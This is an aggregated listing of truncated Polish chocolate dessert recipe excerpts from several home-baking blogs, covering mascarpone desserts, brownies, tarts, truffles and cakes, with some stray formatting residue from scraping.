Zdrowa Kuchnia Sowy
Deser z mascarpone 440

prosił się już o wykorzystanie;) Najpierw powstała wersja z bitą śmietaną, a dzisiaj wersja z jogurtem. Obie wyśmienite:) Składniki na 4 porcje: * 250 g serka mascarpone * 100 g gorzkiej czekolady * 200 ml śmietanki 30% lub duży jogurt grecki * 1/2 op. truskawek mrożonych * łyżka fruktozy^ * 1 banan * starta czekolada lub posypka czekoladowa * zmielone orzechy do posypania ^ dopisane później: teraz dodałabym ksylitolu(...)fruktozy już nie używam Czekoladę połamałam, dodałam niewielką ilość śmietanki (w wersji jogurtowej mleka), rozpuściłam w kąpieli wodnej, zostawiłam do przestygnięcia, po czym wymieszałam dokładnie z serkiem mascarpone. W wersji ze śmietaną resztę śmietany ubiłam na sztywno. Truskawki i banana zmiksowałam (do truskawek dodałam łyżkę fruktozy). Nakładałam po kolei: mus bananowy, serek czekoladowy, bita śmietana (jogurt), mus truskawkowy, na koniec

Zdrowa Kuchnia Sowy
Czekoladowa chmura Nigelli 13126

Czaiłam się na nią już bardzo długo i w końcu znalazłam  okazję, żeby tę, jak się okazało, pyszność zrobić:) Zrobiłam na Święta. Przepis stąd. Ciasto: * 250 g gorzkiej czekolady * 125 g masła * 6 jajek * 175 g cukru - dałam 150 g fruktozy * starta skórka z pomarańczy ( niekoniecznie) - nie dałam * 2 łyżki likieru Cointreau ( niekoniecznie ) - dałam łyżkę Amaretto Wierzch(...)dodatkowo 6 łyżek cukru pudru, serek mascarpone 250 g i 1 żółtko - dałam serek i łyżkę fruktozy Piekarnik nastawiłam na 180*C, wyłożyłam papierem tortownicę o śr. 22 cm. Czekoladę rozpuściłam z masłem w kąpieli wodnej, pozostawiłam do ostudzenia. 2 całe jajka i 4 żółtka ubiłam z 50 g fruktozy na puszystą masę. Do masy dodawałam powoli rozpuszczoną czekoladę, cały

Zdrowa Kuchnia Sowy
Panna cotta z sosem truskawkowym 138

mleko pełne 3.2% * 50 g fruktozy * 2 łyżeczki żelatyny - do rozpuszczenia w zimnej wodzie * kilka łyżek zimnej wody Sos: * 1/3 paczki truskawek mrożonych * fruktoza - dałam łyżeczkę * 1/3 tabliczki gorzkiej czekolady Żelatynę rozpuściłam w wodzie, odstawiłam. Po ok. 15 minutach wymieszałam z mlekiem skondensowanym. W sumie to chyba nie musiałam w ogóle używać wody, tylko rozpuścić żelatynę w mleku. Śmietankę doprowadziłam(...)więc tak zrobiłam;) Rozlałam do 4 filiżanek, przestudziłam i włożyłam do lodówki. Na następny dzień (deser robiłam wieczorem) zrobiłam sos truskawkowy miksując rozmrożone truskawki z fruktozą  i rozpuściłam czekoladę w kąpieli wodnej. Polałam sosem i czekoladą i... czekałam na oklaski:D I prawie tak się stało, bo deser wzbudził wielki entuzjazm! Już myślę o wersji czekoladowej z kakao, malinowej

Zdrowa Kuchnia Sowy
Ciasteczka bakaliowo-czekoladowe 159

migdałów - również 50 g 100 g rodzynek - dałam mieszankę rodzynek*, żurawiny suszonej i moreli po 50 g skórki pomarańczowej i cytrynowej - dałam na oko 200 g gorzkiej czekolady - dałam 100 g 1 łyżeczka cynamonu - 1/2 łyżeczki 1 łyżeczka mielonych goździków - dałam kilka, ale mi się nie zmieliły 1 łyżeczka gałki muszkatołowej - dałam odrobinę 1,5 łyżeczki czarnego pieprzu - nie dałam(...)dietą strukturalną Orzechy i migdały wrzuciłam do blendera i posiekałam, skórkę pomarańczową i morele pokroiłam na kawałeczki. Wymieszałam w misce wszystkie składniki łącznie z przyprawami i dołożyłam stopioną czekoladę i miód. Tak jak napisała Feeriasmaków nie sposób było połączyć tej masy z mąką, bo za dużo tutaj suchych składników, mimo stopienia czekolady razem z miodem. Dolałam więc mleka i wtedy

Zdrowa Kuchnia Sowy
Jabłecznik bezglutenowy z polewą czekoladową - w dwóch odsłonach 178

też mi się bardzo podobało:) Przepis lekko dopasowałam do swoich potrzeb, czyli zmieniłam przede wszystkim mąkę pszenną na mix mąk bezglutenowych i zastąpiłam kupną polewę prawdziwą, czyli z czekolady i mleka. Składniki: * I wariant : 1 i 1/3 szklanki mąki: dałam najwięcej mąki jaglanej, mniej ryżowej i najmniej     zmielonego siemienia lnianego    II wariant(...)wcześniej:)   * 3 jajka * 1/3 szklanki ksylitolu * 4 spore jabłka * łyżka kakao * płaska łyżeczka sody, szczypta soli * cynamon, imbir, łyżeczka soku z cytryny Na polewę: * 80 g gorzkiej dobrej czekolady * mleko kokosowe Nastawiłam piekarnik na 170* C. Żółtka oddzieliłam od białek i utarłam z ksylitolem na gładką masę (sł).  Powoli dodałam do niej mąkę ryżową (o), sodę

Zdrowa Kuchnia Sowy
Brak tytułu 154

polewie. Już chwilę po otwarciu przesyłki, dwa opakowania zniknęły w mig. Dziewczynkom bardzo zasmakowały, a również zasmakowałam. Oto zjedzone już wafle: - wafle ryżowe w polewie truskawkowej - wafle ryżowe w czekoladzie mlecznej o smaku pomarańczy. Dla mnie super, smak rewelacyjny, świetne jako przekąska, np. do kawy. Dobre dla dzieci. I 2 kolejne smaki: - wafle ryżowe w czekoladzie mlecznej - wafle ryżowe(...)czekoladzie mlecznej o smaku cappuccino. Polecam Wszystkim te wafle. Kaloryczność 1 wafla to około 74 kcal, pisze około, bo wartość się waha w zależności od rodzaju, ale nie przekracza 78 kcal. Zawierają błonnik, który ma świetny wpływ na nasz układ pokarmowy. Lekka przekąska, dla każdego

kolorowotorcikowo
Wiśniowy torcik brownies z bitą śmietaną 117

Składniki na tortownicę śr. 26 cm 200g czekolady, po 100g gorzkiej i mlecznej 100 g masła 120 g cukru 4 łyżki mąki 5 jajek 2 szkl. wypestkowanych wiśni 300 ml kremówki 1/2 szkl cukru W kąpieli wodnej rozpuścić czekoladę, razem z masłem. Ubić jajka z cukrem, na jasną, puszystą masę. Dodać mąkę i czekoladę oraz wiśnie - delikatnie połączyć. Przelać

kolorowotorcikowo
Tarta śliwkowo - czekoladowa 182

Lublinie. Składniki: CIASTO: 125 g masła/margaryny 250 g mąki 70 g cukru odrobina wody NADZIENIE: 300 g śmietany 18 % 3 jajka 0,5 szkl. cukru 1/2 tabliczki  czekolady deserowej 300-350 g śliwek Wykonanie: Z masła. mąki, cukru - zagnieść szybko ciasto. By ułatwić zlepienie składników, możecie dodać odrobinę zimnej wody. Ciasto zlepić w kulę, zawinąć folią spożywczą, włożyć(...)lodówki. Śliwki umyć, wypestkować, zasypać 3 łyżkami cukru. Czekoladę zetrzeć na tartce o dużych oczkach. Śmietanę, jajka, cukier i czekoladę wymieszać. Ciasto rozwałkować, podsypując mąką. Przenieść ciasto, za pomocą wałka na formę do tarty ( posmarowaną tłuszczem i wysypaną bułką tartą ). Docisnąć brzegi, odciąć nadmiar ciasta. Na cieście ułożyć owoce. Zalać masą śmietanową. Piec w 170 stopniach C, około 60 minut

kolorowotorcikowo
Mleczny torcik na migdałowym spodzie 159

masła 150 g migdałów w słupkach 150 g herbatników kakaowych Masa: 250 ml mleka 400 ml kremówki 4 łyżki cukru 3 płaskie łyżki żelatyny 50 g mlecznej czekolady 3 łyżki mleka w proszku  Wykonanie: Masło rozpuścić, dodać pokruszone herbatniki i słupki migdałów. Masę rozłożyć w tortownicy ( śr. 20 cm ), ugnieść. Zapiec przez 10 minut w 180 stopniach C. Ostudzić(...)Żelatynę zalać wodą ( około 1/3 szkl. )- odstawić.  Mleko zagotować z cukrem. W gorącym mleku rozpuścić czekoladę i mleko w proszku. Odstawić do wystygnięcia. Kremówkę ubić na sztywną pianę. Żelatynę podgrzewać na małym ogniu - uważając, żeby się nie zagotowała. Mieszać - do rozpuszczenia. Płynną żelatynę przelać do mleka - wymieszać. Dodać ubitą kremówkę - połączyć. Masę przelać na migdałowy spód. Schłodzić w lodówce

kolorowotorcikowo
Czekoladowiec z bazylią 145

Budyń odstawiamy do ostudzenia Margarynę ucieramy z cukrem pudrem na puszystą, jasną masę. Do utartej margaryny dodajemy po łyżce zimnego budyniu. Gotową masą przekładamy placki. Do dekoracji: 200 g czekolady gorzkiej kilka listków bazylii zielonej dowolne owoce cukier puder Czekoladę rozpuścić w kąpieli wodnej. Bazylię drobno posiekać. Bazylię połączyć z czekoladą. Polać ciasto. Pozostawić do zastygnięci. Na cieście ułożyć owoce

kolorowotorcikowo
Smoothie owsianka 244

Składniki: 3 łyżki  płatków owsianych 3/4 szkl. wody 1,5 szkl napoju waniliowego Alpro 3-4 kostki gorzkiej czekolady 1,5 banana Wykonanie: Płatki zalej wodą - gotuj 4-5 minut. Do gorących płatków dodaj czekoladę - niech się rozpuści. Lekko przestudź owsiankę. Do blendera przełóż owsiankę z czekoladą, dodaj pokrojone w cząstki banany oraz napój Alpro. Zmiksuj ! Smoothie owsianka gotowa

kolorowotorcikowo
Bananowy krem 167

Porcja dla 2 osób Składniki : 200 g serka mascarpone 2 duże dojrzałe banany 1,5 łyżeczki cukru pudru 5 łyżek granoli 100 g gorzkiej czekolady przyprawa do kawy i deserów KAMIS Wykonanie: Czekoladę połamać, rozpuścić w kąpieli wodnej. Do rozpuszczonej czekolady dodać granolę - wymieszać. Odstawić do wystygnięcia. Serek mascarpone utrzeć z cukrem pudrem. Banany obrać, rozgnieść  - dodać do serka

kolorowotorcikowo
Trufle daktylowo-morelowe 161

przyjaciółkę, mamę lub zrobić słodki prezent ukochanemu/ukochanej - wszak Walentynki tuż, tuż ! Składniki na około 15 sztuk: 20 suszonych daktyli bez pestki 15 suszonych moreli, np Bakalland 100 g gorzkiej czekolady 2 łyżki kakao do obtaczania: kakao, cukier puder Wykonanie: Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband(...)zwyczajnie nie mieć siły bakali zmielić, no i co ... w najgorszym przypadku, mikser zakończy żywot ! W garnku/ rondelku zagotowujemy szklankę wody, na garnku umieszczamy miskę. Do miski wrzucamy połamaną czekoladę. Czekamy aż się rozpuści - nie mieszamy w między czasie ! Do zmiksowanych owoców dodajemy 2 łyżki kakao oraz roztopioną czekoladę - wyrabiamy masę. Masę odstawiamy do ostygnięcia. Z masy formujemy trufelki. Gotowe

kolorowotorcikowo
Miętowo-czekoladowy torcik ( walentynkowy ) 206

wybaczyć jakość zdjęć, zmuszona byłam robić teraz, nocą ... Nie lubię tak ! Proponowany przeze mnie torcik to miętowo-czekoladowe połączenie. Ciekawi ?  Składniki: SPÓD: 250 g kruchych ciastek 100 g czekolady gorzkiej 70% 1 łyżka masła 200 ml jogurtu naturalnego 250 g serka ricotta 10 czekoladek-pastylek miętowych Goplana 2 łyżki cukru pudru 1 łyżka siekanej świeżej mięty 2 łyżki żelatyny(...)zimnej wody ponadto: galaretka truskawkowa truskawki, czekoladowe literki Wykonanie: Czekoladę połamać i rozpuścić w kąpieli wodnej, dodając łyżkę masła. Ciastka pokruszyć. Do okruchów ciastek dodać rozpuszczoną czekoladę - dokładnie wymieszać. Powstałą masą wyłożyć, dokładnie dociskając do brzegów formę serduszko ( u mnie jest to wkładka do tortownicy średnicy 26 cm). Tak przygotowany spód, wstawić do lodówki. Żelatynę zalać zimną wodą - odstawić. Miętowe

kolorowotorcikowo
Tort marchewkowy z orzechowym kremem 297

pszennej 1 łyżeczka sody 1 łyżeczka proszku do pieczenia 1 łyżeczka cynamonu 1/2 łyżeczki imbiru 220 ml oleju rzepakowego 60 ml maślanki  2 jajka Krem: 160 g białej czekolady 200 ml śmietanki kremówki 30% 100 g mielonych orzechów laskowych Wykonanie: Tortownicę średnicy 24 cm wyłożyć papierem do pieczenia. Obraną marchew zetrzeć na tarce o drobnych oczkach. W miseczce połączyć(...)łyżki. Ciasto marchewkowe przełożyć do tortownicy, piec w 170 stopniach C około 50 minut. Upieczone ciasto ostudzić, przekroić na 3 blaty. Przygotować krem orzechowy. W kąpieli wodnej rozpuścić połamaną czekoladę. Śmietankę ubić na sztywno. Do rozpuszczonej, lekko wystudzonej czekolady, dodawać po łyżce ubitej śmietanki - delikatnie mieszać. Na koniec do kremu wsypać mielone orzechy - wymieszać. Blaty ciasta marchewkowego smarować kremem. Torcik

kolorowotorcikowo
Muffinki czekoladowe 251

200g mąki - 100g cukru - 2 czubate łyżki kakao - 2 łyżeczki proszku do pieczenia - 1/2 łyżeczki sody - szczypta soli - 2 jajka - 150 ml mleka - 3 łyżki rozpuszczonego masła - 80g gorzkiej czekolady Wykonanie: 1. Piekarnik nagrzewamy do ok. 180 st. C. Do formy na muffinki wkładamy papilotki. 2. Wszystkie sypkie składniki ciasteczek mieszamy razem. 3. W oddzielnym naczyniu roztrzepujemy jajka, mieszamy(...)mlekiem i masłem. 4. Czekoladę siekamy na drobne kawałki. 5. Sypkie składniki łączymy z płynnymi i mieszamy łyżka na jednolitą masę. 6. Dodajemy czekoladę i krótko mieszamy łyżką. 7. Nakładamy ciasto do foremek, do ok. 3/4 wysokości. Wstawiamy do piekarnika i pieczemy ok. 25 minut. 8. Wyjmujemy z piekarnika i delikatnie wystawiamy z foremek do ostygnięcia. insertCookd("54912d1377fe7de93f890c9662874f02

Pasja Smaku
Muffinki czekoladowe z malinami 153

200g mąki - 100g cukru - 2 czubate łyżki kakao - 2 łyżeczki proszku do pieczenia - 1/2 łyżeczki sody - szczypta soli - 2 jajka - 150 ml mleka - 3 łyżki rozpuszczonego masła - 80g gorzkiej czekolady - 24 maliny Wykonanie: 1. Piekarnik nagrzewamy do ok. 180 st. C. Do formy na muffinki wkładamy papilotki. 2. Wszystkie sypkie składniki ciasteczek mieszamy razem. 3. W oddzielnym naczyniu roztrzepujemy jajka(...)mieszamy z mlekiem i masłem. 4. Czekoladę siekamy na drobne kawałki. 5. Sypkie składniki łączymy z płynnymi i mieszamy łyżka na jednolitą masę. 6. Dodajemy czekoladę i krótko mieszamy łyżką. 7. Do każdej foremki nakładamy łyżkę masy, na niej kładziemy po 2 maliny i zakrywamy drugą łyżką masy owoce. Wstawiamy do piekarnika i pieczemy ok. 25 minut. 8. Wyjmujemy

Pasja Smaku
Babka kokosanka 155

cukru pudru 1 cukier wanilinowy 5 dag wiórków kokosowych 5 jajek 17,5 dag mąki pszennej 7,5 dag mąki ziemniaczanej 1 proszek do pieczenia 15 dag białej czekolady 5 dag gorzkiej czekolady Wykonanie: 1. Ciasto: Jajka ubić w misie robota z olejem, ajerkoniakiem, cukrem pudrem, cukrem wanilinowym i wiórkami kokosowymi na puszystą masę. 2. Mąkę pszenną i ziemniaczaną przesiać(...)piec przez 45-50 minut.  5. Upieczoną babkę studzić przez 10 min. w formie, a następnie wyjąć i odstawić do całkowitego wystudzenia.  6. Polewa: czekoladę gorzką i białą połamać na kawałeczki. Osobno stopić w gorącej kąpieli wodnej. Wystudzoną babkę polać w fantazyjny sposób najpierw białą, a następnie ciemną polewą. Odstawić, by polewy stężały

Pasja Smaku
Donaty amerykańskie z piekarnika 225

też robię różne słodkości domowymi sposobami. Na blogu znajdziecie przepisy na pączki angielskie , faworki i małe donaty . Tym razem donaty w wersji odchudzonej, bo z piekarnika. Przepis z bloga Czekoladą utkane . Składniki: 500 g mąki 25 g świeżych drożdży 50 g roztopionego masła 2 jajka 3/4 szklanki ciepłego mleka 1/2 szklanki cukru Dodatkowo: gotowa polewa rozpuszczona czekolada lukier kolorowe posypki(...)blaszce wyłożonej papierem do pieczenia, przykryć ściereczką i jeszcze na 30 minut odstawić do wyrośnięcia. Donaty piec w piekarniku rozgrzanym do 180 st.C przez 10 minut. Ozdabiać lukrem lub czekoladą i różnymi posypkami według uznania

Pasja Smaku
Deser z musem czekoladowym i jagodami 110

lodówki i szafki ze słodyczami i mam! Zapraszam na prosty do przygotowania deser, który mimo tylko kilku składników prezentuje się całkiem ładnie. Składniki /4 porcje/: 150 g gorzkiej czekolady 375 ml śmietanki 30% 1 szklanka jagód (mogą być mrożone) 2 małe opakowania herbatników kilka listków mięty Wykonanie: Czekoladę rozpuścić w kąpieli wodnej i odstawić do ostudzenia. W tym czasie ubić(...)sztywno śmietankę. Na koniec dodać ostudzoną czekoladę i wymieszać ją ze śmietanką. Wstawić do lodówki na co najmniej godzinę. Herbatniki rozkruszyć w misie blendera. Listki mięty opłukać i posiekać. W pucharkach układać warstwami: rozkruszone herbatniki, mus, jagody i miętę, aż do wyczerpania składników. Ozdobić miętą i wstawić do lodówki na kilka godzin, chociaż bardziej niecierpliwi mogą jeść od razu

Pasja Smaku
BOUNTY 200

wykonanie przepisu jest bardzo szybkie i banalnie proste. Składniki: -3/4-1 szklanka wiórków kokosowych -1/3 szklanki ksylitolu lub cukry trzcinowego -1/2 szklanki mleka -1/2 tabliczki mlecznej czekolady(ja dałam gorzką z ksylitolem + łyżeczkę kremówki) Mleko, ksylitol i wiórki kokosowe gotować w rondelku na małym ogniu ok. 15 minut. Ostudzić. Formować owalne kształty z kokosowej masy. Oblać rozpuszczoną(...)czekoladą i zostawić do skrzepnięcia czekolady. Smacznego

Smaczne Zdrowe
TIRAMISU BROWNIES 305

coś, co wciąga... :-) Może dlatego ,że jest trochę zakalcowate jak to brownies... Znalezione tutaj. Składniki części czekoladowej: - 200g masła - 180g ksylitolu - 3 duże jajka - 200g czekolady gorzkiej ( max 60%) roztopionej - 120g mąki orkiszowej białej - 1 łyżka kawy rozpuszczalnej rozpuszczona w 1/5 szklanki gorącej wody - 1 łyżka likieru amaretto Wszystkie składniki powinny być w temp.pokojowej. Czekoladę rozpuścić w kąpieli wodnej. Przestudzić(...)misie malaksera utrzeć masło z ksylitolem na jasną , puszystą masę. Dodawać po jednym jajku, ciągle miksując. Następnie dodajemy lekko przestudzoną czekoladę, zmiksować. Na końcu dodajemy mąkę, kawę i likier, miksujemy do połączenia składników. Składniki części tiramisu: - 500g mascarpone - 130g ksylitolu - 2 duże jajka - 2 łyżki likieru amaretto - 2 łyżeczki kawy rozpuszczone w 1 łyżce gorącej wody Wszystkie składniki zmiksować

Smaczne Zdrowe
Podwójnie czekoladowa rolada z malinami 332

łyżek m ą ka pszenna 3 łyżki kakao 2 łyżki proszek do pieczenia 1 łyżeczka Krem czekoladowy  margaryna lub masło 250 g jajka 4 szt cukier 1 szk czekolada gorzka 1 szt kakao ciemne 3 łyżeczki Do dekoracji maliny jeżyny czekoladowa posypka Przygotowanie: Biszkopt-Białka ubić na sztywno dodać cukier,żółtka i ubij ać tak długo , aż masa będzie(...)ręcznikiem.Pozostawić do całkowitego wystudzenia.Biszkopt najlepiej upiec dzień wcześniej. Krem; Jajka ubić z cukrem na parze na puszystą masę i zdjąć. Do ciepłej masy dodać startą na drobnych oczkach czekoladę i przesiane przez sitko kakao. Mieszać łyżką do rozpuszczenia czekolady i odstawić do wystudzenia.Margarynę/masło utrzeć do białości i stopniowo dodawać zimną masę czekoladową. 2/3 kremu rozsmarować

Ala piecze i gotuje
Naleśniki amarantusowo-kokosowe 179

Dzisiaj będzie na słodko.Zrobiłam  naleśniki w paski na mleku kokosowym i z dodatkiem mąki z amarantusa .Nadzienie to  jogurt  naturalny z czekoladą   i bananami.Są bardzo smaczne,zapraszam. Składniki: mleko kokosowe 1 szk mąka z amarantusa 0,5 szk mąka pszenna 1 szk jajka 2 szt kakao gorzkie 0,5 łyżeczki jogurt naturalny(...)czekolada mleczna 20 g banany 2 szt olej do smażenia  Przygotowanie:   Mleko kokosowe, mąkę pszenną,mąkę z amarantusa i jajko zmiksować na jednolite ciasto. Odlać pół szklanki dodać kakao i dokładnie zmiksować.Na patelnię nalać łyżeczkę oleju i podgrzać.Zdjąć patelnię z ognia i za pomocą dekoratora cukierniczego zrobić cienkie paski z ciasta czekoladowego.Ponownie patelnie przełożyć na ogień

Ala piecze i gotuje
Gwiazdki cytrynowe 416

delikatne. Składniki: 150 g masła 100 g margaryny 100 g cukru pudru 1 jajko 350 g mąki pszennej skórka otarta z 1 cytryny 1 łyżka soku z cytryny czekolada mleczna Przygotowanie: Wszystkie składniki umieścić w misce i zagnieść na jednolitą masę. Uformować kulkę, zawinąć w folię spożywczą i włożyć na 2 godziny do lodówki. Odrywać po kawałku ciasta, rozwałkować(...)grubość około 3-4 mm i foremkami wycinać gwiazdki. Ułożyć na blasze wyłożonej papierem i piec w 170 st około 10 min. Ostudzić. Czekoladę rozpuścić w kąpieli wodnej i udekorować czekoladą ciasteczka. Dodatkowo udekorowałam część gwiazdek kolorowymi kuleczkami

Ala piecze i gotuje
Rogaliki z orzechów laskowych 199

trzeba uważać bo też szybko znikają. Składniki: 150 g margaryny 1 jajko 80 g cukru pudru 150 g mielonych orzechów laskowych BackMit 150 g mąki pszennej 50 g czekolady Przygotowanie: Margarynę, jajko i cukier puder utrzeć. Dodać orzechy laskowe, mąkę i wymieszać na jednolitą masę. Włożyć na 3-4 godziny do lodówki. Formować małe rogaliki, układać na blaszce wyłożonej papierem(...)wypieków. Piec około 8 min w 170st. Rogaliki wystudzić. Czekoladę rozpuścić w kąpieli wodnej. Zanurzać rogalika w czekoladzie i obsypać zmielonymi orzechami laskowymi

Ala piecze i gotuje
Trufle czekoladowe 244

młodszej córki. Miała dużo  frajdy z czego się bardzo cieszyłam gdy ją obserwowałam. Składniki: 75 ml kremówki 25 g miodu prawdziwego 2 łyżeczki cukru waniliowego 100 g czekolady gorzkiej 100 g czekolady mlecznej 25 g masła Przygotowanie:   Kremówkę, miód i cukier waniliowy podgrzać w garnuszku. Ale nie doprowadzić do zagotowania. Zdjąć z ognia dodać mało i połamane(...)mniejsze kawałki czekolady. Mieszać do rozpuszczenia. Masę wylać do płaskiego naczynia i pozostawić do całkowitego ostudzenia, najlepiej na całą noc. Z masy formować kuleczki i obtaczać w zależności od tego jakie mamy dekoracje. Kokos, kolorowe posypki, kakao, migdały, orzechy mielone. Ponownie odłożyć w zimne miejsce żeby stężały. Jeśli masa będzie się mocno kleić do rąk moczyć ręce delikatnie w zimnej

Ala piecze i gotuje
Babka czekoladowa z szampanem 274

Dzisiaj babka kakaowa z dodatkiem szampana cała oblana czekoladą. Ma bardzo ciekawy smak, puszysta, aromatyczna i lekko wilgotna. Źródło Moje wypieki . Składniki: 0,5 kg mąki pszennej 2 łyżeczki proszku do pieczenia 1 łyżeczka sody oczyszczonej 9 łyżek kakao 2 szklanki cukru 1 łyżeczka esencji waniliowej 4 duże jajka 250 ml oleju rzepakowego 300 ml szampana 200 g czekolady mlecznej(...)temperaturze 160 stopni a następnie zwiększyć temperaturę na 170 stopni.  Po upieczeniu wyjąć z pieca a po około 10 minutach wyjąć z formy i studzić na kratce. Czekoladę z masłem i śmietanką rozpuścić w kąpieli wodnej. Zimną babkę polać polewą czekoladową. Babka jest na dużą formę o pojemności 2,5 litra

Ala piecze i gotuje
Deser z kaszy jaglanej z granatami 308

wspólnego, gdyż w składnikach nie ma ani grama sera. Deser został przygotowany z kaszy jaglanej. A elementem dekoracyjnym tego deseru są ziarna granatu i czekolada. Nie przygotowałam do niego spodu, gdyż moi panowie zdążyli moje zapasy ciasteczek wyczyścić do zera. A gdy wstawiłam zdjęcie tego deseru w portalu społecznościowym, to jego amarantowy kolor wzbudził zachwyt na Facebooku Przepis ten przygotowałam(...)jogurtu greckiego 6 łyżek drobnego cukru do wypieków 3 łyżki ekstraktu waniliowego 2,5 łyżki żelatyny 1/4 szklanki wody 2 owoce granatu sok z limonki 50 g czekolady do dekoracji Do rondelka z wrzącym mlekiem i wodą wsypujemy kaszę, dodajemy szczyptę soli. Doprowadzamy do wrzenia, zmniejszamy ogień i gotujemy na małym ogniu ok. 15 minut, do miękkości kaszy, jednocześnie płyn

Damsko-męskie spojrzenie na kuchnię
Panna cotta After Eight 177

cukru(można mniej ) 1 cukier waliliowy  15   gr żelatyny, ja używam w p ł atkach       60ml syropu miętowego Tabliczka gorzkiej czekolady Zagotować smietane i 3/4 mleka , dodać cukier i cukier waniliowy. Przygotować żelatynę, t ą w p ł atkach trzeba namoczy ć   przez 10 min w zimnej wodzie , a potem dobrze wycisn(...)mlekiem z ognia i wlać rozpuszczon ą żelatynę i syrop miętowy.  Panna cotta wlać do różnych silikonowych foremek.  Chłodzić w lodówce do stężenia( Ok 3h).  Rozpuścić czekoladę i nape ł nić ni ą ma ł e foremki silikonowe, wstawić do lodówki. . Foremki silikonowe delikatnie odgi ą ć i wyj ą ć panna cotta i zastyg łą czekoladę

Mia Cucina Sofieta
Kasztanowa tarta z gruszkami- jesiennie i nostalgicznie 205

cukru pudru * 2 żółtka * 250 g Kasi/ masła 80 ml lodowatej wody ( ile zabierze, aby ciasto się nie kruszyło) Na nadzienie: * 3-4 soczyste gruszki * 150 g gorzkiej czekolady+ łyżeczka masła * 1 łyżeczka ekstraktu z wanilii Na sos: * 2 gruszki * cynamon i cukier do smaku Zagniatamy kruche ciasto, wstawiamy do lodówki na 1 h. Dzielimy ciasto na dwie części. Jedną(...)podpieczony spód kładziemy 3-4 gruszki pokrojone w cienkie plasterki, wymieszane z łyżką ekstraktu i polewamy je roztopioną w mikrofalówce lub w kąpieli wodnej czekoladą. Czekoladę mieszamy z łyżką masła/KASI, aby po wystudzeniu ponownie się nie zsolidifikowala. Przykrywamy drug ą połow ą ciasta i dekorujemy według uznania. Tartę wstawiamy do nagrzanego do 180 stopni piekarnika i pieczemy ok 30/35

Mia Cucina Sofieta
Ciasto W–Z 333

łyżki cukru pudru 2 łyżeczki żelatyny ¼ szklanki gorącej wody Poncz: 1 szklanka gorącej wody 2 łyżeczki cukru 1 łyżeczka soku z cytryny 2 – 3 łyżki alkoholu Polewa: 1 ½ tabliczki czekolady deserowej (u mnie gorzka z 50% kakao) 5 łyżek śmietany kremówki 1 łyżeczka masła Dodatkowo: 1 słoik gładkiego dżemu( u mnie morelowy) Biszkopt: Wszystkie składniki powinny być w temperaturze pokojowej(...)dżemem. Wykładamy ubitą kremówkę, wyrównujemy. Nasączamy drugi blat i kładziemy go na kremówkę. Wierzch ciasta smarujemy dżemem. Ciasto wstawiamy do lodówki na kilka godzin( u mnie cała noc). Polewa: czekoladę łamiemy na kawałki, wkłdamy do garnuszka, wlewamy śmietanę i dodajemy masło. Rozpuszczamy w kąpieli wodnej (do garnuszka z gotującą wodą, wstawiamy ten z czekoladą). Letnią polewę rozsmarowujemy na cieście. Wkładamy

Mia Cucina Sofieta
Biszkopt z truskawkami i bezą 295

Składniki : Biszkopt : * 3 jajka * pół szklanki cukru * szklanka mąki pszennej * łyżeczka proszku do pieczenia  Krem : * 330 ml śmietanki 30% * opakowanie serka mascarpone * łyżka cukru pudru * truskawki * kilka kostek czekolady gorzkiej * beza z 3 białek - przepis pojawi się na blogu wkrótce    Przygotowanie : Jajka ubić z cukrem, dodać mąkę wymieszaną z proszkiem do pieczenia, przelać ciasto do tortownicy. Piec(...)minut do suchego patyczka. Biszkopt przeciąć  na pół, odłożyć na kratkę do wystygnięcia. Kremówkę ubić z cukrem pudrem, dodać serek. Na połowę biszkopta wyłożyć połowę kremu, dodać startą czekoladę oraz truskawki. Przykryć drugim biszkoptem, wyłożyć krem, posypać czekoladą i ułożyć truskawki. Całość wstawić na noc do lodówki. Pokruszoną bezą posypać ciasto. Podawać

Magiczne Życie Marty
Brownie z masłem orzechowym 181

łyżki stopionego masła,  1/2 laski wanilii. Masło orzechowe połączyć ze stopionym masłem, cukrem, solą i nasiona wanilii. Zmiksować przy pomocy blendera. Masa czekoladowa: 5 0g gorzkiej czekolady, 150g mlecznej czekolady, 2/3 szklanki mąki pszennej, 8 łyżek masła, 1/4 łyżeczki soli, 1/2 łyżeczki proszku do pieczenia, 3 jajka, 3/4 szklanki cukru pudru, 1/2 laski wanilii. Czekolady połamać na kawałki, stopić

Z miłości do słodkości
Delicja serowo-jabłkowa 220

królują szarlotki... Jednak lubię czasem zaszaleć i upiec coś wyjątkowego:) Taka jest właśnie ta delicja;) Kruche ciasto, masa jabłkowa, delikatna masa serowa i lekka truskawkowa pianka. Całość wieńczy starta czekolada. Moi chłopcy bardzo je lubią i najchętniej chcieliby, żebym co tydzień je piekła;) Ciasto: 3 szklanki mąki pszennej, 3/4 szklanki cukru pudru, 4 żółtka, 250g masła lub margaryny, łyżeczka proszku(...)zagotować. Budyń wymieszać z mlekiem i zagotować z masą serową. Ciepłą masę wyłożyć na ciasto, całkowicie ostudzić. Pianka: 4 białka,  1/2 szklanki cukru,  galaretka truskawkowa,  starta czekolada do dekoracji. Białka ubić z cukrem na sztywną pianę. Galaretkę rozpuścić w niepełnej szklance gorącej wody, ostudzić i dodać do białek. Krótko zmiksować. Piankę wylać na ciasto. Wstawić do lodówki

Z miłości do słodkości
Wiśniowa fantazja z płatkami ryżowymi na deser 155

Zamiast rogali na deser proponuję dzisiaj pyszny deser na płatkach ryżowych, dzięki którym jest bardzo delikatny. Do tego odrobina śmietanki, nutka wanilii i kwaśne wiśnie. Wierzch zdobi starta czekolada... Deser przypomina tradycyjny ryż na mleku z owocami, jednak jest dużo bardziej delikatny i wyjątkowy... Składniki: 150g płatków ryżowych, 500g wiśni z kompotu, 1 i 1/2 szklanki mleka, 1/2 laski wanilii(...)łyżki cukru pudru, 150ml śmietanki 30%, 10g startej czekolady.   Przygotowanie Mleko zagotować z cukrem pudrem, nasionami wanilii i szczyptą soli. Wsypać płatki ryżowe. Gotować jedną minutę na małym ogniu, stale mieszając. Ostudzić. Śmietankę ubić na sztywno, porcjami dodawać do zimnych płatków ryżowych. Dokładnie wymieszać.  Do pucharków lub miseczek układać na przemian odsączone owoce i porcję ryżu.  Udekorować

Z miłości do słodkości
Torcik z masą kawowo-śmietanową 191

